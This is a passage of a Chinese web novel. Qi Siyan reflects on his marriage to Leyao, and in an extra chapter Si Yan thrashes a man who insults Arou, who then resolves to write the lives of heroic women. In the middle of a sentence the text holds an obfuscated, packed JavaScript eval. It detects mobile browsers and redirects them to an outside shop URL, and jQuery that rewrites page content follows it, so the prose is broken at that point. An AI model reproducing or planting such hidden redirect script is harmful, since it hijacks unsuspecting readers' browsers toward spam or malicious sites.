明珠点点头,笑道:“我劝她去休息,她也不肯,非要留在这里照顾二公子呢。” 戚思彦心中升起暖意来,嘴角勾起淡淡的笑意。 明珠看着他的神情,浅笑着说:“二公子得遇良人,明珠真是为您感到高兴。” “是啊,真是……幸运啊……”戚思彦声音很轻,听起来就像是在喃喃自语。 过去常常有人问戚思彦,为何及冠已久,却迟迟没有娶亲。戚思彦总是笑着回应:“残躯如此,便莫要耽误良人了吧。” 绝大多数人并不能理解戚思彦的想法。对于他们而言,病弱之人,反倒更需要寻个枕边人来照顾。而攀上景西王府,是多少人梦都不敢梦的一件好事,谈何耽搁? 戚思彦没有辩驳,只是听凭自己的想法,在景西王府中孤独地度过了一年又一年。 他确实不愿拖累良人,但圣上赐婚,是意料之外的事。 而赐婚的对象,恰是戚思彦在元宵灯会上一眼惊鸿的姑娘。 听说这个消息的时候,戚思彦当真是又惊喜又害怕。 他想,也许是缘分使然,才会令二人在元宵灯会这一天,上演了如同话本一般美好而绚丽的初见,又在姻缘簿上写下他们姓名。 可戚思彦也知道,这道赐婚的旨意,并不合乐瑶的心意。 乐瑶曾说过,自己要嫁便嫁个盖世英雄,京中那些慵懒没劲、孱弱不堪的公子哥,都配不上她。 仅仅一句话,即便不是对他所说,也轻而易举地击溃了他所剩无几的骄傲与自信。 他又何尝不讨厌如今这个瞻前顾后、脆弱不堪的自己呢? 戚思彦害怕从此与乐瑶分道扬镳,更害怕她乐瑶会因为这个不如意的婚约而厌恶自己。 究竟是顺从私心,还是让所爱之人归于自由? 戚思彦纠结了许久。许是心思郁结,险些又病了一场。 最终,他还是将选择未来的机会交还给乐瑶。 “待日后,皇上不再惦念此事,我们再找个机会和离,可好?” 说完这句话,他反而放松了些。 是啊,戚思彦从不是京城里娇生惯养长大的公子哥。他曾挽弓射箭、飞驰旷野,他曾血战疆场、不惧生死,也曾在北风凛冽的寒夜里,烤着篝火,和无数将士一同豪饮,畅快淋漓。 他比任何人都明白折翼之苦,又怎么舍得将心上人困于囚笼? 如果放她离去,便能稍稍换得她的一点感激与好感……那也是值得的。 那时的戚思彦的确这样想。 而现在,他们二人成了婚。虽无夫妻之实,却也实实在在地在同一屋檐下生活了许久,相处越发自然,关系越发亲密。 戚思彦也开始怀疑,照这个趋势发展下去,他是否真的愿意和乐瑶和离? 他害怕自己心中的占有和妄念作祟,在将来的某一日,会将二人的关系推向无可挽回的地步。 但昨夜发生的事,让戚思彦故作冷静的心又产生了一些动摇。 乐瑶照顾了他一夜…… 那个自小在宠爱中长大,十指不沾阳春水的小公主,竟在他生病的时候,主动照顾了他一夜。 是出于对婚姻的义务?可小公主明显是个任性随心的人。 那就是出于对戚思彦的感激? 又或是……或是…… 还在发烧的头脑有些晕晕乎乎的,让他反应有些迟钝。以至于迟疑良久,才终于想到那个于他而言有些不可思议的可能性—— 乐瑶会照顾他一夜,有没有可能是因为……是因为……她也有一点点,喜欢他呢? 心跳瞬时漏了一拍。 所有飘絮无根的落叶,在这一刻,仿佛都有了归去的方向。 倘若乐瑶真的喜欢他,哪怕只有一点点…… 那么,他决定不再放手。 94. 番外四:红颜应书 “话说那北境叛军兵临城下之际,天子坐于庙堂之上,环顾众臣,问道:‘此即危急存亡之际,座下之人,谁可为天下人带兵迎战?” “正当四下寂静之时,外间响起一女子之声:‘臣女愿往。’众人回首望去,只见一红衣女子,黑发高束,腰佩宝剑,脚蹬长靴,好不利落飒爽。” “来人正是戚家三娘。天子见之,问:‘此战凶险,胜算渺茫,恐有性命之忧,卿当真愿往一战?’三娘只道:‘人固有一死,为家国而死,死得其所。’” “……” 那台上说书之人,手执一枚惊堂木,说得眉飞色舞、绘声绘色,引得四座连连叫好,沉浸其中。 期间偶尔也有扫兴的看客提出质疑之声,“这戏可真假,一个女儿家耍耍嘴皮子,哪里就能上了战场去?” 说书人不忿地道:“不过是个故事,客官这么较真做什么?就算细节不对,戚三娘子临危受命,镇守城门这事儿可是货真价实的,如何就假了?” 旁边也有人附和着—— “是啊,戚三娘子是百年难遇的巾帼英雄,是守护大昭的功臣,怎么就假了?” “你觉得假,自己编个故事给大伙儿听听?” “不过是听个趣儿打发时间,你还较真上了?” “……” 见这么多人反驳,那扫兴之人红着一张脸,梗着脖子辩道:“一个女人而已,怎么可能带得了兵,打得了仗?那军中上下能服她吗?你们可别听故事,把脑子听坏了!” 话音刚落,便听得旁边响起一声低笑—— 那是个二十来岁的青年,一身黑色劲装,模样清俊,身旁还靠着一柄纹样细致的长剑,看来是个江湖客。 “你,你笑什么?!” “我笑有些人啊,眼界比门缝还窄,心眼比针眼还小,自己是个碌碌无为的庸人,便说人家的传奇故事都是假的,是骗人的。”青年轻笑一声,“呀,真酸呢。” 周围人立刻哄笑起来。 “你,你……”那人急眼了,越发口不择言起来,“我有什么好酸的?一个不守妇道的娘们罢了,最后还不是要扒了衣服给人……啊!” 他话还没说完,整个人便飞了出去。 四座震惊,愣是没一个人看清他是如何飞出去的。 青年已然站起身来,面上笑意褪去殆尽,取而代之的则是深不见底的寒意。 此人正是司言。他上前两步,又一脚将人踩住,语气危险,“舌头如果不想要了,可以给别人。” 一时之间,没人敢再说话,空气中弥漫着骇人的寂静气息。 只有店小二瑟瑟发抖地在旁边陪笑道:“客官您消消气,消消气哈……” 司言冷哼一声,又踹了地上之人一脚,冷声说道,“滚吧。” 那人赶紧连滚带爬地跑了。 围观之人渐渐散去,司言也重新坐回座位上,一边喝着酒,一边频频向窗外看去。 过了好一会儿,门口终于出现了一抹熟悉的身影。 阿柔同样也看到了司言,面上笑意浮现,大步走到司言对面的位置坐下,顺手将腰佩的那把短刀放在桌面上,“等很久了吗?” 司言摇摇头,“没有很久,连一壶酒都没喝完呢。” 阿柔挑眉,“只喝酒,不点些小菜?” 司言笑眯眯的,“这不是等你嘛。” 阿柔唤来小二,随意添了几个菜。见小二一副战战兢兢、如临大敌的模样,有些奇怪,“怎么了?我看起来很吓人?” “不,不……姑娘……”小二原就害怕,视线无意间瞥到桌上的刀,抖得更厉害了,“啊不是,女侠……” “哦……”阿柔若有所思,指向司言,“那就是他看起来很吓人?” “不不不……不是不是……” 待小二走后,阿柔问道:“我不在的时候,发生什么事了吗?” “不是什么大事,没必要放在心上。”司言面上的笑意淡了几分,“对了,你的事情办的怎么样?” 阿柔知道他这是在岔开话题,顺着他的意思说道:“不过是替阿爹拜访旧友,不是什么难办的事。” “嗯,但我看你心情好像不错?” “这都被你看出来了?”阿柔笑道。 “那当然,你的心情好坏与否,我一眼就能看出来。”司言撑着脸看她,“遇到什么开心事了?” “不是什么大事,就是和世伯见过面后,家中小姐留我在闺中叙话……”阿柔面含笑意,将今日所遇娓娓道来。 …… 这家小姐名唤谢兰珠,不过十五六岁的年龄,为人却相当有主见。 盛世之年,这些不愁吃穿的世家大族之中掀起了一股崇尚英雄的风潮。有人推崇前朝文士之风骨,也有人赞叹今朝武将之荣光。 兰珠幼时曾闻大昭开国女将郭氏的事迹,一心将其视作榜样,便也生出了学习武学兵法的念头。 父母闻之大惊,怨她异想天开,训她德行有亏,将她禁足于府,只准学女红刺绣。何时断了那些荒诞的心思,何时再解除禁足。 哪知一连数年过去,她都未曾低头妥协。 父亲气急,便想直接寻个亲家,将她嫁人了事。 兰珠仍旧不从,跪在父亲屋前石阶上扬声说道:“爹娘养我一场,未至行孝之时,便伤了爹娘的心,是兰珠的过错。但兰珠知晓,生逢于世,若不能行己身之道,追求心中所愿,又与傀儡有何区别?父亲若执意要女儿嫁给一个未曾相识的陌生人,女儿倒不如一头撞死在这里!” 谢父险些被这番话气晕过去,抄起鞭子就要动手,被夫人哭喊着拦下了。后来发生了何事,就不必再细讲。总而言之,结亲一事便暂时搁置了下来。 谢兰珠讲到此处,看着阿柔有些难过的神色,说道:“姐姐,你知道吗,当时有一瞬间,我真的想着,要不然就这样认命算了。世道要女儿家做男子之附庸,做一只徒有其表的雀儿,也许……就是容不下我这样的异类吧。” 阿柔的声音有些难过,“那后来呢?” “后来……长祈城的故事传到了我们这里。”谢兰珠深深地看了阿柔一眼,“戚家三娘子临危受命,带兵守城的事迹,传遍了大街小巷。” 阿柔微微张了张口,显然对如此发展始料未及。 “我虽被关在府中,多多少少还是听到了一些。”谢兰珠认真地说道,“于是,我更加确信,郭将军的传奇,并非一个不可再现的奇迹。姐姐,是你让我看到了希望,云珠要同你道一声谢。” 阿柔有片刻的哑然,只觉心绪翻涌、感慨万千。而后,她温柔地说道:“何必同我道谢?支撑着你走到现在的,分明是你自己。” 谢兰珠倔强地摇了摇头,“若非姐姐鼓舞,兰珠恐怕已经嫁作人妇,也就无法坐在此处同你叙话了。” “如此说来,世伯这是妥协了?” “妥协算不上,只是不像从前那般强硬了。许是因为,姐姐的事迹,也在潜移默化中改变了他的想法吧。”谢兰珠神色愈发坚定,“我知道,属于我的斗争还很漫长,但……我不会退缩的。” 阿柔心中震动,笑着抚上少女的发顶,真心实意地祝愿道:“那么,姐姐便祝你得偿所愿。” 她从未想过,自己的所作所为,有朝一日,竟会改变他人的人生。 …… 司言听说后,也有些慨叹,“你我当初在长祈城留下的故事,又于无声之时影响到了多少人呢?” “是啊,世间的因果轮回,当真是妙不可言。”阿柔感慨着,“所以,从谢府回客栈的路上,我又有了一些新的想法。” “什么……” 还不待司言问出口,客栈门口突然传来一阵吵嚷。 “大人,就是他!就是他刚刚打的我!”一个熟悉的欠揍的声音响起。 司言:“……” 扭头一看,果真是方才那满嘴污秽的看客。 阿柔眨了眨眼,看了一眼四周围上来的官差,歪头问道:“怎么回事呀,司门主?” 司言叹了口气,竟然还有心思开玩笑,“也许是老天看我等了阿柔那么久,便使了个坏,让阿柔也等等我咯。” 说罢,他站起身来,在众人惊愕的目光之下,大大方方地对官差说道:“人是我打的,我跟你们走吧。” 以司言的身份和手腕,自然不会被这么一件小事困住。天还没黑,他就已经回到了客栈。 彼时阿柔正坐在卧房榻上看书,见他回来,将手上东西放在一旁,“都解决完了?” “你不问我为何要打人吗?” “你走之后,小二就把事情的始末跟我讲过了。再说,我又不是不知晓你的为人,连你都忍不住动手的人,那确实该教训教训。”阿柔向他招了招手,语气轻快,“过来过来。” 司言听话地走过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14271967|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,坐在她身旁。 阿柔舒服地靠在他身上,好奇地问道:“那人最后怎么样了?” “满口污言秽语、辱骂救国功臣,亏他有脸报官。”司言冷哼一声,“自是将他干的好事尽数禀明官家,赏他几天牢饭吃咯。” “哦,那他真是活该。”阿柔打趣,“我听小二说,你下午那阵在店里发火,可吓人啦。” “还不是因为那人说你坏话?”司言不忿。 “我知道。”阿柔摸摸他的脸,“只是从没见过你发火的模样,好奇嘛。” “这有什么可好奇的?”司言觉得有些好笑,“那我现在发个火给你看看?” “好啊。”阿柔直接应了,不给他一点反悔的机会。 司言一时语塞,只得硬着头皮做了一个看似很凶的表情,“哼。” “噗。”阿柔没忍住笑出了声,“哈哈哈哈哈哈。” “不许笑,我还在发火呢。”司言抗议道。 “好好好。”阿柔嘴上这么说,却还是断断续续地笑着。 司言无奈地轻笑一声,回想起先前在客栈里的话题,接着问道:“下午那会儿,你说离开谢府后又有了许多想法。是什么?” “哦,对。”阿柔止住笑,清了清嗓子,继续下午的话题。 …… “我当时想到,也许世间最初只有黑夜,因为人点了灯,后人才得以窥见前路方向。而那些被唤作“异类”,为世道所不容之人,会不会正是在黑夜中点亮第一盏灯的人呢?” “只有点亮第一盏灯,才会出现第二盏,第三盏……跟随其后之人,才会拥有更多追索奔逐的勇气,走出一条前所未有的‘道’。”阿柔稍作停顿,发出一声叹息,“然而灯华易散,古往今来,世上缺的从不是明灯,而是长燃不灭的引芯。” “阿言,你可还记得,我同你讲过阿娘的故事?” “嗯,我记着的。”司言轻声回应。 “那年西北大乱,阿娘遭敌军俘虏,因不愿阿爹为难,于两军对阵之际自刎而死。我想,她的事迹,当可称得上一句英雄。我不知史书会如何记载这段旧事,也许只有寥寥几笔,也许什么都没有。” “再说起谢兰珠崇拜的那位女将,大昭开国距今不过百余年,却已无人知晓她姓名。我想,阿娘的名字大抵也会如此,在岁月之中慢慢消磨,留下的,只有‘景西王妃花氏’这么一个身份。” “诸如郭将军,诸如阿娘,诸如夜兰……还有过去千百年间,所有至真至烈的铁血红颜。我想……她们的名字,她们的功绩,应当为人所记。”阿柔声音不大,语气却格外坚定。 司言几乎是立刻明白了她的心思,“你想用笔墨将这些人和事记下来,流传于世?” “流传于世……我还不敢说一定能做到。只是心中有个声音告诉我,应当这样去做。”阿柔抬头看向司言,“过去,我历经这世间万般光景,却从未有过清晰的目标。而今,我总算找到了应当去做的事。” 阿柔深吸一口气,一字一句地说道:“我要,为这世间的万千红颜而书写。” 司言听她一番剖白,亦不免感到思潮澎湃,心中震动不已。 他将阿柔整个圈在怀里,脸颊贴上她发丝,语调温柔,却令人无比安心,“不论你想做什么,我都会陪着你,和你一起走下去。” …… 许多年后,坊间流传起一本新的传记,名唤《大昭红颜录》,其中内容为大昭开国以来的各种女子传奇。 有人对这传记嗤之以鼻,却也有人视之为开天辟地的奇作。 风靡了一段时日后,此书因不明原因被官家封禁。即便如此,《红颜录》依旧在私下传播,屡禁不止。 那些浓墨重彩的红颜往事,终究没有随着年华逝去而消散,而是印刻在无数人的记忆中,成为万千女子心中一面崭新的旗帜,指引出前所未有的方向来。 驰骋战场、不让须眉的开国女将郭将军,为守西北边境而自刎于军前的花轻雪,只身涉险、刺杀叛军贼首的萧夜兰,以及临危受命、誓死守城的戚雪柔…… 先人点亮了第一盏照夜之灯。 而后便会有第二盏,第三盏…… 她们的火光不会熄灭,她们的故事永远流传。 直至未来某一天,世间女子再也不必行于黑暗,困于囚笼,被礼法规训,受夫郎指摘…… 阿柔坚信,这一天一定会到来。